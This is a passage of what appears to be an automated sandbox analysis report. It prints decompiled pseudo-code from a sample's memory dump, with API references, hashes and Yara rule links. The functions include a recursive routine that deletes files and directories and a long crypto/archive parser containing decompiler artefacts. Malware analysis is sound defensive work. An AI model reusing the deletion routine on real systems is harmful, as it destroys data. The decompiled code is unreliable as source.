						 *((intOrPtr*)(_t9 + 4)) = 0x41d5e0;
						_t23 = _t9;
					}
					_t10 =  *((intOrPtr*)(_t25 + 4));
					 *((intOrPtr*)( *_t10 + 0x10))(_t10, 0, 0, 0, 0);
					_t12 =  *((intOrPtr*)(_t25 + 8));
					_t13 =  *((intOrPtr*)( *_t12 + 0xc))(_t12,  *((intOrPtr*)(_t25 + 4)), 0x41ea98, _t23);
					asm("sbb al, al");
					return  ~_t13 + 1;
				} else {
					return 1;
				}
			}

0x00401304
0x00401306
0x0040130d
0x00401314
0x00401316
0x00401320
0x0040133d
0x00401322
0x00401322
0x00401329
0x0040132c
0x00401332
0x00401339
0x00401339
0x0040133f
0x00401349
0x0040134c
0x0040135c
0x00401361
0x00401367
0x0040130f
0x00401312
0x00401312

APIs

??2@YAPAXI@Z.MSVCRT ref: 00401316

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 530541863fe87d91b3746bc2cb94423826a85f1004adc9c1c8b154fef11766d7
Instruction ID: a51787965d0bc3bdbe74b998de211b2743835052462f3d0f1d26fd9b701dad35
Opcode Fuzzy Hash: 530541863fe87d91b3746bc2cb94423826a85f1004adc9c1c8b154fef11766d7
Instruction Fuzzy Hash: 45F0C8B1500221AFD7189F65D80AD977B99EF85710315C46FF406CB3A1D7B4EC82C668

Uniqueness

Uniqueness Score: -1.00%

Function 00414EF1, Relevance: 1.3, APIs: 1, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00414EF1(void* __eflags, intOrPtr _a4, intOrPtr _a8, char _a12, intOrPtr* _a16) {
				void* _t12;
				signed int _t13;
				signed int _t15;
				intOrPtr* _t20;
				intOrPtr _t24;

				_t24 = _a4;
				_push( &_a12);
				_t12 = E00413ECE(_t24 + 0x14, _a8, _a12); // executed
				_t20 = _a16;
				if(_t20 != 0) {
					 *_t20 = _a12;
				}
				if(_t12 != 0) {
					return 0;
				}
				_t13 = GetLastError();
				__eflags =  *(_t24 + 0x1c);
				if( *(_t24 + 0x1c) != 0) {
					return  *((intOrPtr*)( *( *(_t24 + 0x1c))))( *((intOrPtr*)(_t24 + 0x20)), _t13);
				}
				__eflags = _t13;
				if(__eflags == 0) {
					return 0x80004005;
				}
				if(__eflags > 0) {
					_t15 = _t13 & 0x0000ffff | 0x80070000;
					__eflags = _t15;
					return _t15;
				}
				return _t13;
			}

APIs

GetLastError.KERNEL32(?,?,?), ref: 00414F1E

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: bef10e7e2a07b9f5c5ee5c354b4214a9f3a8dc7b1ff6031b8d50112c379913c8
Instruction ID: b1376db512650cee24e8a0985b829a0f1c4315c93205b2e563ae2ffb9e13b3f5
Opcode Fuzzy Hash: bef10e7e2a07b9f5c5ee5c354b4214a9f3a8dc7b1ff6031b8d50112c379913c8
Instruction Fuzzy Hash: 68F0697120021AABCB20CF10CC00AE777A9BF80324F14456AB806CB360D739E897DB58

Uniqueness

Uniqueness Score: -1.00%

Function 004145F1, Relevance: 1.3, APIs: 1, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E004145F1(signed int* __ecx, void* __eflags, signed int _a4) {
				signed int _t12;
				signed int _t19;
				signed int _t21;

				_t21 = _a4;
				 *__ecx =  *__ecx & 0x00000000;
				_t19 = 2;
				_t12 = (_t21 + 1) * _t19;
				_push( ~(0 | __eflags > 0x00000000) | _t12); // executed
				L0041C16C(); // executed
				__ecx[1] = _t21;
				__ecx[2] = _t21;
				 *__ecx = _t12;
				return _t12;
			}

0x004145f3
0x004145f9
0x00414600
0x00414604
0x0041460d
0x0041460e
0x00414614
0x00414617
0x0041461b
0x0041461e

APIs

??2@YAPAXI@Z.MSVCRT ref: 0041460E

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: b60de331195480ee16010183974e33a4c9ed5d3fc8d927df9664fc67f0053f17
Instruction ID: d4bf1e77843ac4ffc9d6de96a583b5b6222411ff98e089cd5882ee9a91c2c0ea
Opcode Fuzzy Hash: b60de331195480ee16010183974e33a4c9ed5d3fc8d927df9664fc67f0053f17
Instruction Fuzzy Hash: A8E012735452116FD3288F2ED507A97F7E8EFD0720F14C92FE59AC72A0DAB4A8818A54

Uniqueness

Uniqueness Score: -1.00%

Function 0040287B, Relevance: 1.3, APIs: 1, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E0040287B(void* __eax, void* __ecx, void* __edx, intOrPtr _a4) {
				void* _t3;
				void* _t9;
				void* _t10;

				_t9 = __edx;
				_push(0x18);
				_t10 = __ecx; // executed
				L0041C16C(); // executed
				if(__eax == 0) {
					_t3 = 0;
				} else {
					_t3 = E00402544(__eax, _a4);
				}
				return E0041B205(_t10, _t9, _t3);
			}

0x0040287b
0x0040287c
0x0040287e
0x00402880
0x00402888
0x00402897
0x0040288a
0x00402890
0x00402890
0x004028a2

APIs

??2@YAPAXI@Z.MSVCRT ref: 00402880

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: b306a9075f87c046829b446e6b913b62a4123f536a9e901663e4365a709dde56
Instruction ID: ab72d40478e811afedcfbbedf7c0c76e7f17da6d593c58ae3af9d4d4ec47094f
Opcode Fuzzy Hash: b306a9075f87c046829b446e6b913b62a4123f536a9e901663e4365a709dde56
Instruction Fuzzy Hash: ADD0227634073121CA5831325D29ABF49844F81724B05883FB405E62D1CEBDCC82829D

Uniqueness

Uniqueness Score: -1.00%

Function 0041BE10, Relevance: 1.3, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041BE10(int __ecx) {
				void* _t1;

				if(__ecx != 0) {
					_t1 = malloc(__ecx); // executed
					return _t1;
				} else {
					return 0;
				}
			}

0x0041be12
0x0041be18
0x0041be21
0x0041be14
0x0041be16
0x0041be16

APIs

malloc.MSVCRT ref: 0041BE18

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 66cf8d5545a740dad15543452bf8420ea65b41da3c9faaad57c398a04622ebbf
Instruction ID: a99900dced4b3d94408e193d7e854b8781f3078c90807f01ec2a5ee1b4dfafb1
Opcode Fuzzy Hash: 66cf8d5545a740dad15543452bf8420ea65b41da3c9faaad57c398a04622ebbf
Instruction Fuzzy Hash: B2B012F051110102DE1C07347C040D732506650607BC048B8B402C0210F729C425504D

Uniqueness

Uniqueness Score: -1.00%

Function 0041BE30, Relevance: 1.3, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

free.MSVCRT(?,00411320), ref: 0041BE31

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 5bb76444f12f6ac46b839af03aa649dedf6af210799dfe73033db5ebb4548707
Instruction ID: 87b19333b2ef4116d6254c4bc8fef081bf6be047992dbd34729973d037981491
Opcode Fuzzy Hash: 5bb76444f12f6ac46b839af03aa649dedf6af210799dfe73033db5ebb4548707
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00403327, Relevance: 18.1, APIs: 12, Instructions: 91
filestringCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00403327(WCHAR* __ecx, void* __edx, void* __eflags) {
				WCHAR* _v16;
				void* _v20;
				struct _WIN32_FIND_DATAW _v612;
				void* _t26;
				int _t29;
				int _t36;
				int _t37;
				int _t44;
				WCHAR* _t45;
				void* _t54;

				_t54 = __edx;
				_t45 = __ecx;
				E00414803( &_v16, __ecx);
				E00414922( &_v16, 0x41dbcc);
				_t26 = FindFirstFileW(_v16,  &_v612);
				_v20 = _t26;
				if(_t26 == 0xffffffff) {
					L11:
					SetCurrentDirectoryW( *0x422794);
					if(SetFileAttributesW(_t45, 0) == 0 || RemoveDirectoryW(_t45) == 0) {
						goto L14;
					} else {
						_push(_v16);
						L0041C160();
						_t29 = 1;
					}
				} else {
					do {
						E00414864( &_v16, _t45);
						E00401585( &_v16, 0x5c);
						E00414922( &_v16,  &(_v612.cFileName));
						if((_v612.dwFileAttributes & 0x00000010) == 0) {
							_t36 = SetFileAttributesW(_v16, 0);
							__eflags = _t36;
							if(_t36 == 0) {
								goto L14;
							} else {
								_t37 = DeleteFileW(_v16);
								goto L8;
							}
						} else {
							if(lstrcmpW( &(_v612.cFileName), 0x41dbc8) == 0) {
								goto L9;
							} else {
								_t44 = lstrcmpW( &(_v612.cFileName), 0x41dbc0);
								_t61 = _t44;
								if(_t44 == 0) {
									goto L9;
								} else {
									_t37 = E00403327(_v16, _t54, _t61);
									L8:
									if(_t37 == 0) {
										L14:
										_push(_v16);
										L0041C160();
										_t29 = 0;
										__eflags = 0;
									} else {
										goto L9;
									}
								}
							}
						}
						goto L15;
						L9:
					} while (FindNextFileW(_v20,  &_v612) != 0);
					FindClose(_v20);
					goto L11;
				}
				L15:
				return _t29;
			}

0x00403327
0x00403332
0x00403339
0x00403346
0x00403355
0x00403361
0x00403367
0x00403405
0x0040340b
0x00403418
0x00000000
0x00403425
0x00403425
0x00403428
0x0040342f
0x0040342f
0x0040336d
0x00403373
0x00403377
0x00403381
0x00403390
0x0040339c
0x004033d1
0x004033d3
0x004033d5
0x00000000
0x004033d7
0x004033da
0x00000000
0x004033da
0x0040339e
0x004033ae
0x00000000
0x004033b0
0x004033bc
0x004033be
0x004033c0
0x00000000
0x004033c2
0x004033c5
0x004033e0
0x004033e2
0x00403432
0x00403432
0x00403435
0x0040343a
0x0040343a
0x00000000
0x00000000
0x00000000
0x004033e2
0x004033c0
0x004033ae
0x00000000
0x004033e4
0x004033f4
0x004033ff
0x00000000
0x004033ff
0x0040343c
0x00403441

APIs

Part of subcall function 00414803: memcpy.MSVCRT ref: 00414829

Part of subcall function 00414922: memcpy.MSVCRT ref: 0041494F

FindFirstFileW.KERNEL32(?,?,0041DBCC,?,00000000,?,00000000), ref: 00403355
lstrcmpW.KERNEL32(?,0041DBC8,?,0000005C,?), ref: 004033AA
lstrcmpW.KERNEL32(?,0041DBC0), ref: 004033BC
SetFileAttributesW.KERNEL32(?,00000000,?,0000005C,?), ref: 004033D1
DeleteFileW.KERNEL32(?), ref: 004033DA
FindNextFileW.KERNEL32(?,00000010), ref: 004033EE
FindClose.KERNEL32(?), ref: 004033FF
SetCurrentDirectoryW.KERNEL32 ref: 0040340B
SetFileAttributesW.KERNEL32(?,00000000), ref: 00403414
RemoveDirectoryW.KERNEL32(?), ref: 0040341B
??3@YAXPAX@Z.MSVCRT ref: 00403428

Part of subcall function 00414864: ??2@YAPAXI@Z.MSVCRT ref: 00414896
Part of subcall function 00414864: ??3@YAXPAX@Z.MSVCRT ref: 0041489F
Part of subcall function 00414864: memcpy.MSVCRT ref: 004148B7

??3@YAXPAX@Z.MSVCRT ref: 00403435

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: File$??3@Findmemcpy$AttributesDirectorylstrcmp$??2@CloseCurrentDeleteFirstNextRemove
String ID:
API String ID: 1254520193-0
Opcode ID: c2933ececad9db255eb8dd321e99e6543c18a313ac2d2f0f1027302c6f341fa2
Instruction ID: 3c0acd77c11c6bfbf9789e5db0a8688aa55c6e9eafbf1e7d600da6e85a924ae8
Opcode Fuzzy Hash: c2933ececad9db255eb8dd321e99e6543c18a313ac2d2f0f1027302c6f341fa2
Instruction Fuzzy Hash: 0531A271D00119BADB10AFA1ED85EEF7B7CAF00701F1045B6A412B20E1EB799E00CA18

Uniqueness

Uniqueness Score: -1.00%

Function 0041A836, Relevance: 11.0, APIs: 7, Instructions: 450
COMMONCrypto

Download Yara Rule

C-Code - Quality: 50%

			E0041A836(signed int __ecx, signed int __edx, signed int _a4, char _a8, short _a12, signed int _a16, intOrPtr _a20, char _a24, signed int _a28, signed int _a32, signed int _a36, signed int _a40, signed int _a44, void* _a48, signed int _a52, signed int _a56, signed int _a60, signed int _a64, signed int _a68, signed int _a72, signed int _a76, signed int _a80, intOrPtr _a84, signed int _a88, signed int _a92, signed int _a96, void* _a100, signed int _a108, signed int _a112, unsigned int _a116, signed int _a120, signed int _a124) {
				signed int _v4;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				char _v104;
				char _v117;
				void* _v176;
				void* __ebx;
				signed int __edi;
				char* __esi;
				void* __ebp;
				void* _t374;
				signed int _t377;
				signed int _t387;
				intOrPtr* _t391;
				signed int _t395;
				signed int _t396;
				signed int _t407;
				intOrPtr* _t410;
				signed int _t411;
				signed int _t412;
				void* _t413;
				void* _t415;
				signed int _t419;
				void* _t423;
				signed int _t426;
				signed int _t438;
				void* _t456;
				signed int _t458;
				signed int _t459;
				signed int _t460;
				intOrPtr* _t461;
				signed int _t462;
				signed int _t465;
				signed int _t467;
				signed int _t479;
				signed int _t486;
				void* _t489;
				signed int _t490;
				intOrPtr _t501;
				unsigned int _t503;
				void* _t505;
				void* _t506;
				signed int _t513;
				void* _t521;
				signed int _t556;
				void* _t571;
				signed int _t572;
				signed int _t573;
				signed int _t575;
				signed int _t579;
				signed int _t582;
				signed int _t584;
				intOrPtr _t585;
				signed int _t587;
				intOrPtr* _t589;
				intOrPtr* _t590;
				signed int _t592;
				signed int _t594;
				intOrPtr* _t598;
				signed int _t599;
				void* _t602;
				void* _t603;

				_t570 = __edx;
				_t599 =  &_v104;
				_t603 = _t602 - 0x90;
				_t592 = __ecx;
				_t374 = E00418FB1( *((intOrPtr*)(__ecx + 0x38)));
				_t486 = _a108;
				if(_t374 != 2) {
					_t582 = 0;
					__eflags = 0;
				} else {
					_t582 = 0;
					_t609 = __edx;
					if(__edx == 0) {
						E004197F9(__ecx, __edx, _t609, _t486 + 0xe0);
						_t374 = E00418FB1( *((intOrPtr*)(_t592 + 0x38)));
					}
				}
				_a72 = _t582;
				_a76 = _t582;
				_a80 = _t582;
				if(_t374 != 3) {
					L9:
					_a36 = _t582;
					_a40 = _t582;
					_a44 = _t582;
					_v44 = _t582;
					_v40 = _t582;
					_v36 = _t582;
					_v32 = _t582;
					_v28 = _t582;
					_v24 = _t582;
					__eflags = _t374 - 4;
					if(_t374 == 4) {
						__eflags = _t570 - _t582;
						if(__eflags == 0) {
							_t589 = _t486 + 0xf8;
							E0041A533(_t486, _t592, _t570, _t592, __eflags,  &_a72, _t589, _t486,  &_a36,  &_v44);
							 *_t589 =  *_t589 +  *((intOrPtr*)(_t486 + 0xf0));
							asm("adc [edi+0x4], eax");
							_t374 = E00418FB1( *((intOrPtr*)(_t592 + 0x38)));
							_t582 = 0;
							__eflags = 0;
						}
					}
					 *(_t486 + 0x5c) = _t582;
					__eflags = _t374 - 5;
					if(__eflags != 0) {
						L85:
						E00419590(_t486, _t486, _t570, __eflags);
						_push(_v32);
						L0041C160();
						_push(_v44);
						L0041C160();
						_push(_a36);
						L0041C160();
						E0041969C( &_a72);
						_t377 = 0;
						__eflags = 0;
						goto L86;
					} else {
						__eflags = _t570 - _t582;
						if(__eflags == 0) {
							_a108 = E00418FE5( *((intOrPtr*)(_t592 + 0x38)), _t570, _t592, __eflags);
							E00419233(_t486 + 0x58, _t378);
							 *(_t486 + 0x5c) = _a108;
							E00419652(_t486 + 0x108, _t570, 9, _t582);
							E00419652(_t486 + 0x108, _t570, 6, _t582);
							__eflags = _a108 - _t582;
							if(__eflags > 0) {
								__eflags = _v40 - _t582;
								if(__eflags != 0) {
									E00419652(_t486 + 0x108, _t570, 0xa, _t582);
								}
							}
							_t584 = _a108;
							_a60 = 0;
							_a64 = 0;
							_a68 = 0;
							E00419725( &_a60, _t584, __eflags);
							_a24 = 0;
							_a28 = 0;
							_a32 = 0;
							_a48 = 0;
							_a52 = 0;
							_a56 = 0;
							_a124 = 0;
							while(1) {
								L67:
								_t387 = E00418FB1( *((intOrPtr*)(_t592 + 0x38)));
								_t501 =  *((intOrPtr*)(_t592 + 0x38));
								_a92 = _t387;
								__eflags = _t387 | _t570;
								_a96 = _t570;
								if((_t387 | _t570) == 0) {
									break;
								}
								_a84 = E00418FB1(_t501);
								_t390 =  *((intOrPtr*)(_t592 + 0x38));
								_t503 =  *((intOrPtr*)( *((intOrPtr*)(_t592 + 0x38)) + 4)) -  *((intOrPtr*)( *((intOrPtr*)(_t592 + 0x38)) + 8));
								_a88 = _t570;
								_t570 = 0;
								__eflags = _a88;
								if(__eflags > 0) {
									L87:
									_t391 = E00418DE4(_t503, _t584);
									asm("cdq");
									asm("stosd");
									asm("stosd");
									_t505 = _t503 + 2;
									_t571 = _t570 + _t505;
									asm("stosd");
									_t506 = _t505 + 1;
									 *((intOrPtr*)(_t571 + 0x41 + _t599 * 4)) =  *((intOrPtr*)(_t571 + 0x41 + _t599 * 4)) + _t391;
									 *0x120041ac =  *0x120041ac + _t506;
									asm("lodsb");
									 *_t584 =  *_t584 + _t571;
									asm("lodsb");
									 *_t391 =  *_t391 + _t391;
									asm("stosd");
									 *((intOrPtr*)(_t592 - 0x54)) =  *((intOrPtr*)(_t592 - 0x54)) + _t571;
									 *((intOrPtr*)(_t592 - 0x54)) =  *((intOrPtr*)(_t592 - 0x54)) + _t571;
									_t489 = _t486 + _t486 + _t571;
									asm("stosd");
									 *_t584 =  *_t584 + _t489;
									asm("lodsb");
									_t513 = _t506 + 7;
									_t268 =  &_v117;
									 *_t268 = _v117 + _t571;
									__eflags =  *_t268;
									_push(_t599);
									_push(_t489);
									_push(_t592);
									_push(_t584);
									_t585 =  *((intOrPtr*)(_t603 + 8));
									_t594 = _t513;
									E00418567(_t585);
									 *((intOrPtr*)(_t585 + 0xe8)) =  *((intOrPtr*)(_t594 + 0x40));
									 *((intOrPtr*)(_t585 + 0xec)) =  *((intOrPtr*)(_t594 + 0x44));
									 *(_t585 + 0xe0) =  *((intOrPtr*)(_t594 + 0x56));
									_t490 = 0;
									 *((char*)(_t585 + 0xe1)) =  *((intOrPtr*)(_t594 + 0x57));
									__eflags =  *(_t585 + 0xe0);
									if( *(_t585 + 0xe0) != 0) {
										L104:
										_t395 = 0;
										__eflags = 0;
										goto L105;
									} else {
										_t572 =  *(_t594 + 0x5c);
										_v20 =  *((intOrPtr*)(_t594 + 0x60));
										_v12 =  *((intOrPtr*)(_t594 + 0x64));
										_v8 =  *((intOrPtr*)(_t594 + 0x68));
										_a4 =  *((intOrPtr*)(_t594 + 0x6c));
										asm("adc ecx, ebx");
										_v24 = _t572;
										 *((intOrPtr*)(_t585 + 0xf0)) =  *((intOrPtr*)(_t594 + 0x40)) + 0x20;
										 *((intOrPtr*)(_t585 + 0xf4)) =  *((intOrPtr*)(_t594 + 0x44));
										 *((intOrPtr*)(_t585 + 0x128)) = 0x20;
										 *((intOrPtr*)(_t585 + 0x12c)) = 0;
										 *((char*)(_t585 + 0x130)) = 0;
										__eflags = _v20;
										if(__eflags < 0) {
											goto L104;
										} else {
											if(__eflags > 0) {
												L92:
												__eflags = _v8 - 0x40000000;
												if(__eflags > 0) {
													goto L104;
												} else {
													if(__eflags < 0) {
														L95:
														_t395 = _v12 | _v8;
														__eflags = _t395;
														if(_t395 != 0) {
															__eflags =  *((intOrPtr*)(_t585 + 0x134)) - _t490;
															if( *((intOrPtr*)(_t585 + 0x134)) == _t490) {
																 *((char*)(_t585 + 0x130)) = 1;
															}
															asm("adc ecx, ebx");
															 *((intOrPtr*)(_t594 + 0x70)) =  *((intOrPtr*)(_t594 + 0x70)) + _v12 + 0x20;
															asm("adc [esi+0x74], ecx");
															_t407 = _v12 + _t572;
															_t573 = _v8;
															asm("adc edx, [ebp-0x10]");
															_v32 = _t407;
															asm("adc ecx, ebx");
															 *((intOrPtr*)(_t585 + 0x128)) = _t407 + 0x20;
															 *((intOrPtr*)(_t585 + 0x12c)) = _t573;
															_t521 =  *((intOrPtr*)(_t594 + 0x48)) -  *((intOrPtr*)(_t585 + 0xf0));
															asm("sbb eax, [edi+0xf4]");
															__eflags =  *((intOrPtr*)(_t594 + 0x4c)) - _t573;
															if(__eflags > 0) {
																L107:
																_t410 =  *_t594;
																_t396 =  *((intOrPtr*)( *_t410 + 0x10))(_t410, _v24, _v20, 1, _t490);
																__eflags = _t396 - _t490;
																if(_t396 == _t490) {
																	_t411 = _v12;
																	__eflags = _t411 - _t411;
																	if(_t411 != _t411) {
																		L110:
																		_t396 = 0x8007000e;
																	} else {
																		__eflags = _t490 - _v8;
																		if(_t490 == _v8) {
																			_push(_v12);
																			L0041C16C();
																			_v32 = _t411;
																			_t412 = E0041670E(_v12); // executed
																			__eflags = _t412 - _t490;
																			if(_t412 == _t490) {
																				_t575 = _v12;
																				_t525 = _v32;
																				_t413 = E0041BCE0(_v32, _t575);
																				__eflags = _t413 - _a4;
																				if(_t413 != _a4) {
																					L115:
																					E00418DE4(_t525, _t585);
																				}
																				__eflags =  *((intOrPtr*)(_t585 + 0x134)) - _t490;
																				if( *((intOrPtr*)(_t585 + 0x134)) == _t490) {
																					 *((char*)(_t585 + 0x131)) = 1;
																				}
																				_push(_t490);
																				_v20 = _t490;
																				E004192D4( &_v24, _t594, _v32, _v12);
																				_t525 =  *((intOrPtr*)(_t594 + 0x38));
																				_v16 = _t490;
																				_v12 = _t490;
																				_v8 = _t490;
																				_t415 = E00418FB1( *((intOrPtr*)(_t594 + 0x38)));
																				__eflags = _t415 - 1;
																				if(_t415 != 1) {
																					L120:
																					__eflags = _t415 - 0x17;
																					if(_t415 != 0x17) {
																						goto L115;
																					} else {
																						__eflags = _t575 - _t490;
																						if(__eflags != 0) {
																							goto L115;
																						} else {
																							_push(_a20);
																							_push(_a16);
																							_t525 = _t594;
																							_push(_a12);
																							_t419 = E0041A63E(_t594, _t575, __eflags,  *((intOrPtr*)(_t585 + 0xf0)),  *((intOrPtr*)(_t585 + 0xf4)), _t585 + 0x100,  &_v16, _a8);
																							_a4 = _t419;
																							__eflags = _t419 - _t490;
																							if(_t419 == _t490) {
																								__eflags = _v12 - _t490;
																								if(_v12 != _t490) {
																									__eflags = _v12 - 1;
																									if(_v12 > 1) {
																										goto L115;
																									} else {
																										E00418E1D( &_v24);
																										E004192FE(_t594,  *_v16);
																										_t525 =  *((intOrPtr*)(_t594 + 0x38));
																										_t423 = E00418FB1( *((intOrPtr*)(_t594 + 0x38)));
																										__eflags = _t423 - 1;
																										if(_t423 != 1) {
																											goto L115;
																										} else {
																											__eflags = _t575 - _t490;
																											if(_t575 != _t490) {
																												goto L115;
																											} else {
																												goto L129;
																											}
																										}
																									}
																								} else {
																									E0041969C( &_v16);
																									E00418E1D( &_v24);
																									goto L113;
																								}
																							} else {
																								E0041969C( &_v16);
																								E00418E1D( &_v24);
																								_t490 = _a4;
																								goto L113;
																							}
																						}
																					}
																				} else {
																					__eflags = _t575 - _t490;
																					if(_t575 == _t490) {
																						L129:
																						 *((char*)(_t585 + 0x130)) = 1;
																						 *((intOrPtr*)(_t585 + 0x120)) =  *((intOrPtr*)(_t594 + 0x70));
																						 *((intOrPtr*)(_t585 + 0x124)) =  *((intOrPtr*)(_t594 + 0x74));
																						_t426 = E0041A836(_t594, _t575, _t585, _a8, _a12, _a16, _a20);
																						E0041969C( &_v16);
																						E00418E1D( &_v24);
																						_push(_v32);
																						L0041C160();
																						_t396 = _t426;
																					} else {
																						goto L120;
																					}
																				}
																			} else {
																				_t490 = _t412;
																				L113:
																				_push(_v32);
																				L0041C160();
																				_t396 = _t490;
																			}
																		} else {
																			goto L110;
																		}
																	}
																}
															} else {
																if(__eflags < 0) {
																	L103:
																	 *((char*)(_t585 + 0x133)) = 1;
																	goto L104;
																} else {
																	__eflags = _t521 - _v32;
																	if(_t521 >= _v32) {
																		goto L107;
																	} else {
																		goto L103;
																	}
																}
															}
														} else {
															__eflags = _t572 | _v20;
															if((_t572 | _v20) != 0) {
																L105:
																_t396 = _t395 + 1;
																__eflags = _t396;
															} else {
																 *((char*)(_t585 + 0x130)) = 1;
															}
														}
													} else {
														__eflags = _v12 - _t490;
														if(_v12 > _t490) {
															goto L104;
														} else {
															goto L95;
														}
													}
												}
											} else {
												__eflags = _t572;
												if(_t572 < 0) {
													goto L104;
												} else {
													goto L92;
												}
											}
										}
									}
									return _t396;
								} else {
									if(__eflags < 0) {
										L21:
										_push(1);
										_a4 = _t570;
										E004192D4(_t599, _t592,  *((intOrPtr*)(_t390 + 8)) +  *_t390, _a84);
										_t584 = 0;
										__eflags = _a96;
										if(__eflags > 0) {
											L64:
											 *((char*)(_t486 + 0x135)) = 1;
											 *((intOrPtr*)( *((intOrPtr*)(_t592 + 0x38)) + 8)) =  *((intOrPtr*)( *((intOrPtr*)(_t592 + 0x38)) + 4));
											goto L65;
										} else {
											if(__eflags < 0) {
												L24:
												_t438 = _a92 + 0xfffffff2;
												__eflags = _t438 - 0xb;
												if(__eflags > 0) {
													goto L64;
												} else {
													switch( *((intOrPtr*)(_t438 * 4 +  &M0041ADD2))) {
														case 0:
															__eax =  &_a60;
															__ecx = __esi;
															__eax = E00419845(__esi, __edx, _a108,  &_a60);
															__eax = 0;
															_a124 = __edi;
															__eflags = _a64 - __edi;
															if(__eflags > 0) {
																do {
																	__ecx = _a60;
																	__eflags =  *((char*)(__ecx + __eax));
																	if( *((char*)(__ecx + __eax)) != 0) {
																		_t156 =  &_a124;
																		 *_t156 = _a124 + 1;
																		__eflags =  *_t156;
																	}
																	__eax = __eax + 1;
																	__eflags = __eax - _a64;
																} while (__eflags < 0);
															}
															__edi = _a124;
															 &_a24 = E00419725( &_a24, __edi, __eflags);
															 &_a48 = E00419725( &_a48, __edi, __eflags);
															goto L35;
														case 1:
															__eax =  &_a24;
															goto L48;
														case 2:
															__eax =  &_a48;
															L48:
															__ecx = __esi;
															__eax = E00419845(__ecx, __edx, _a124, __eax);
															goto L35;
														case 3:
															_v16 = _t584;
															E00419747( &_v20, _t570, _t599, __eflags, _t592,  &_a72);
															_t584 =  *((intOrPtr*)( *((intOrPtr*)(_t592 + 0x38)) + 4)) -  *((intOrPtr*)( *((intOrPtr*)(_t592 + 0x38)) + 8));
															E0040BBD0(_t486 + 0xd0, _t584);
															E00418E93( *((intOrPtr*)(_t592 + 0x38)),  *((intOrPtr*)(_t486 + 0xd0)), _t584);
															E0041911E(_t486 + 0xd8, __eflags,  *(_t486 + 0x5c) + 1);
															_t570 = 0;
															_t447 = 0;
															_a116 = 0;
															_a112 = 0;
															__eflags =  *(_t486 + 0x5c);
															if( *(_t486 + 0x5c) <= 0) {
																L32:
																_t570 = _t570 >> 1;
																 *( *((intOrPtr*)(_t486 + 0xd8)) + _t447 * 4) = _t570;
																__eflags = _a116 - _t584;
																if(_a116 != _t584) {
																	 *((char*)(_t592 + 0x3c)) = 1;
																}
																E00418E1D( &_v20);
																goto L35;
															} else {
																do {
